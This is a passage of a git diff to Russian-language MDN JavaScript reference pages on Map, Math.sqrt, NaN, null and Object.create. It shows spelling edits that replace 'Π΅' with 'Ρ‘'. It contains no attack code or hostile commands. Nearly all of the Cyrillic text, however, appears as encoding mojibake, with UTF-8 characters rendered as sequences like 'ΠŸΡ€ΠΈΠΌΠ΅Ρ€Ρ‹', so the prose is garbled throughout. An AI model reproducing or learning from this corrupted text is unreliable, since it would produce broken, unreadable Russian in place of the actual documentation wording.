-<p><code>true</code> Ссли элСмСнт сущСствовал Π² {{jsxref("Map")}} ΠΈ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ»ΠΈ <code>false</code> Ссли элСмСнта с Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Π½Π΅ Π±Ρ‹Π»ΠΎ.</p>
+<p><code>true</code> Ссли элСмСнт сущСствовал Π² {{jsxref("Map")}} ΠΈ ΠΎΠ½ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ»ΠΈ <code>false</code> Ссли элСмСнта с Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ Π½Π΅ Π±Ρ‹Π»ΠΎ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
index ccdd07a182..eb1a79956b 100644
--- a/files/ru/web/javascript/reference/global_objects/map/entries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>entries()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€</a></strong>, содСрТащий ΠΏΠ°Ρ€Ρ‹ <code>[key, value]</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{jsxref("Map")}} Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π·Π°Π²Π΅Π΄Π΅Π½Ρ‹.</p>
-<p>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ всСх ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² для Β {{jsxref("Map")}} сохранСн Π½Π° GitHubΒ <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p>
+<p>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ всСх ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² для Β {{jsxref("Map")}} сохранён Π½Π° GitHubΒ <a href="https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map">https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map</a>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, для этого:Β </p>
diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
index 20111c1cdc..27b5c25aa0 100644
--- a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>thisArg</code>Β ΡƒΠΊΠ°Π·Π°Π½ для <code>forEach</code>, Ρ‚ΠΎ ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ <code>callback</code>Β ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Β Π² качСствС значСния <code>this</code>.Β  Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС для <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎΒ <code>undefined</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>this</code>,Β Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅Β Π½Π°Π±Π»ΡŽΠ΄Π°Π΅ΠΌΠΎΠ΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>callback</code>, опрСдСляСтся Π² соотвСтствии c <a href="/ru/docs/Web/JavaScript/Reference/Operators/this">ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ опрСдСлСния <code>this</code>Β Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</a></p>
-<p>КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ посСщаСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случая, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ снова Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ <code>forEach</code>. <code>callback</code> Π½Π΅ вызываСтся для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ…Β Π΄ΠΎ ΠΈΡ… посСщСния. НовыС значСния Π±ΡƒΠ΄ΡƒΡ‚ посСщСны, Ссли ΠΎΠ½ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ <code>forEach</code>.</p>
+<p>КаТдоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ посСщаСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случая, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ снова Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ <code>forEach</code>. <code>callback</code> Π½Π΅ вызываСтся для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ…Β Π΄ΠΎ ΠΈΡ… посСщСния. НовыС значСния Π±ΡƒΠ΄ΡƒΡ‚ посСщСны, Ссли ΠΎΠ½ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ <code>forEach</code>.</p>
<p><code>forEach</code> исполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>callback</code> ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Map</code>; Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html
index ae4ca29646..be837c802e 100644
--- a/files/ru/web/javascript/reference/global_objects/map/get/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html
@@ -29,8 +29,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
<pre class="brush: js notranslate">var myMap = new Map();
myMap.set('bar', 'foo');
-myMap.get('bar'); // Π’Π΅Ρ€Π½Π΅Ρ‚ "foo".
-myMap.get('baz'); // Π’Π΅Ρ€Π½Π΅Ρ‚ undefined.
+myMap.get('bar'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ "foo".
+myMap.get('baz'); // Π’Π΅Ρ€Π½Ρ‘Ρ‚ undefined.
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html
index 4548a2f79a..fe13de74df 100644
--- a/files/ru/web/javascript/reference/global_objects/map/index.html
+++ b/files/ru/web/javascript/reference/global_objects/map/index.html
@@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map
<h3 id="Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅_ΠžΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²_ΠΈ_Map">Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ ΠžΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ Map</h3>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° <code>Map</code> Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ значСния ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Π°ΠΌ, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ эти значСния, ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ΠΈ ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΈΡ… Π½Π°Π»ΠΈΡ‡ΠΈΠ΅. Π’ связи с этим (ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ встроСнных Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²), {{jsxref("Object", "ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹")}} историчСски использовались ΠΊΠ°ΠΊ <code>Map</code>. Однако, Ρƒ Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ ряд ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ прСимущСства <code>Map</code> Π² рядС случаСв:</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° <code>Map</code> Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ значСния ΠΏΠΎ ΠΊΠ»ΡŽΡ‡Π°ΠΌ, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ эти значСния, ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡ΠΈ ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ ΠΈΡ… Π½Π°Π»ΠΈΡ‡ΠΈΠ΅. Π’ связи с этим (ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ встроСнных Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²), {{jsxref("Object", "ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹")}} историчСски использовались ΠΊΠ°ΠΊ <code>Map</code>. Однако, Ρƒ Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ ряд ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ прСимущСства <code>Map</code> Π² рядС случаСв:</p>
<ul>
<li>ΠšΠ»ΡŽΡ‡Π°ΠΌΠΈ {{jsxref("Object", "ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π°")}} Π²Ρ‹ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ {{jsxref("String", "Π‘Ρ‚Ρ€ΠΎΠΊΠΈ")}} ΠΈ {{jsxref("Symbol", "Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹")}}, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡ΠΎΠΌ <code>Map</code>, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ {{jsxref("Function", "Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ")}}, {{jsxref("Object", "ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹")}} ΠΈ {{Glossary("Primitive", "ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹")}}.</li>
@@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/clear" title="The clear() method removes all elements from a Map object."><code>Map.prototype.clear()</code></a></dt>
<dd>УдаляСт всС ΠΏΠ°Ρ€Ρ‹ ΠΊΠ»ΡŽΡ‡ / Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Map</code>.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete" title="The delete() method removes the specified element from a Map object by key."><code>Map.prototype.delete(key)</code></a></dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, Ссли элСмСнт Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Map</code> сущСствовал ΠΈ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½, ΠΈΠ»ΠΈ false, Ссли элСмСнт Π½Π΅ сущСствуСт.Β <code>Map.prototype.has(key)</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code> ΠΏΠΎΠ·ΠΆΠ΅.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true</code>, Ссли элСмСнт Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Map</code> сущСствовал ΠΈ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½, ΠΈΠ»ΠΈ false, Ссли элСмСнт Π½Π΅ сущСствуСт.Β <code>Map.prototype.has(key)</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code> ΠΏΠΎΠ·ΠΆΠ΅.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/entries" title="The entries() method returns a new Iterator object that contains the [key, value] pairs for each element in the Map object in insertion order."><code>Map.prototype.entries()</code></a></dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Iterator</code>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит <strong>массив</strong>Β <strong><code>[key, value]</code></strong> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅Β <code>Map</code>Β Π² порядкС вставки.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/forEach" title="The forEach() method executes a provided function once per each key/value pair in the Map object, in insertion order."><code>Map.prototype.forEach(callbackFn[, thisArg])</code></a></dt>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
index 28d145db02..9fd81b98cd 100644
--- a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
+++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ΠšΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа. Если число ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅, Ρ‚ΠΎ вСрнСтся {{jsxref("NaN")}}.</p>
+<p>ΠšΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа. Если число ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅, Ρ‚ΠΎ вСрнётся {{jsxref("NaN")}}.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html
index 7c91aebb62..ca61ca7c3e 100644
--- a/files/ru/web/javascript/reference/global_objects/nan/index.html
+++ b/files/ru/web/javascript/reference/global_objects/nan/index.html
@@ -45,7 +45,7 @@ valueIsNaN(1); // false
valueIsNaN(NaN); // true
valueIsNaN(Number.NaN); // true</code></pre>
-<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅Β Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>isNaN()</code>Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Number.isNaN()</code>: пСрвая Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>true</code>, Ссли значСниС Π² настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚ являСтся <code>NaN</code>,Β ΠΈΠ»ΠΈ Ссли ΠΎΠ½ΠΎ станСт <code>NaN</code> послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ прСобразуСтся Π² число, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ послСдний Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>true</code>, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ являСтся <code>NaN</code>:</p>
+<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅Β Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code>isNaN()</code>Β ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>Number.isNaN()</code>: пСрвая Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>true</code>, Ссли значСниС Π² настоящий ΠΌΠΎΠΌΠ΅Π½Ρ‚ являСтся <code>NaN</code>,Β ΠΈΠ»ΠΈ Ссли ΠΎΠ½ΠΎ станСт <code>NaN</code> послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ прСобразуСтся Π² число, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ послСдний Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>true</code>, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ являСтся <code>NaN</code>:</p>
<pre><code>isNaN('hello world'); // true
Number.isNaN('hello world'); // false</code></pre>
diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html
index 085018dc12..22f65596e9 100644
--- a/files/ru/web/javascript/reference/global_objects/null/index.html
+++ b/files/ru/web/javascript/reference/global_objects/null/index.html
@@ -40,14 +40,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/null
<h3 id="Difference_between_null_and_undefined" name="Difference_between_null_and_undefined">ΠžΡ‚Π»ΠΈΡ‡ΠΈΡ ΠΌΠ΅ΠΆΠ΄Ρƒ <code>null</code> ΠΈ <code>undefined</code></h3>
-<p><code>null</code> являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ отсутствия ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΒ {{jsxref("Global_Objects/undefined", "undefined")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ. НапримСр:Β </p>
+<p><code>null</code> являСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ отсутствия ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊΒ {{jsxref("Global_Objects/undefined", "undefined")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ. НапримСр:Β </p>
<pre class="brush: js">var element;
-// Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ element Π΄ΠΎ Π΅Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ: undefined
+// Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ element Π΄ΠΎ Π΅Ρ‘ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ: undefined
element = document.getElementById('not-exists');
// здСсь ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ получСния Π½Π΅ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта, ΠΌΠ΅Ρ‚ΠΎΠ΄ getElementById Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ null
-// пСрСмСнная element Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ null, Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ
+// пСрСмСнная element Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ null, Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ
</pre>
<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ΅ Π½Π° <code>null</code> ΠΈΠ»ΠΈ {{jsxref("Global_Objects/undefined", "undefined")}}, ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅ ΠΎ <a href="/ru/docs/Web/JavaScript/Reference/Operators/ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_сравнСния#ИспользованиС_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²_равСнства">Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ равСнства (==) ΠΈ идСнтичности (===)</a>: с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ, выполняСтся ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ².Β </p>
diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html
index bb1da1642e..9af356adc0 100644
--- a/files/ru/web/javascript/reference/global_objects/object/create/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html
@@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
<h3 id="Throws" name="Throws">ВыбрасываСмыС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
-<p>ВыбрасываСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("Global_Objects/TypeError", "TypeError")}}, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>proto</code> Π½Π΅ являСтся {{jsxref("Global_Objects/null", "null")}} ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ (ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ²).</p>
+<p>ВыбрасываСт ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("Global_Objects/TypeError", "TypeError")}}, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>proto</code> Π½Π΅ являСтся {{jsxref("Global_Objects/null", "null")}} ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ (ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ²).</p>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -170,7 +170,7 @@ o2 = Object.create({}, {
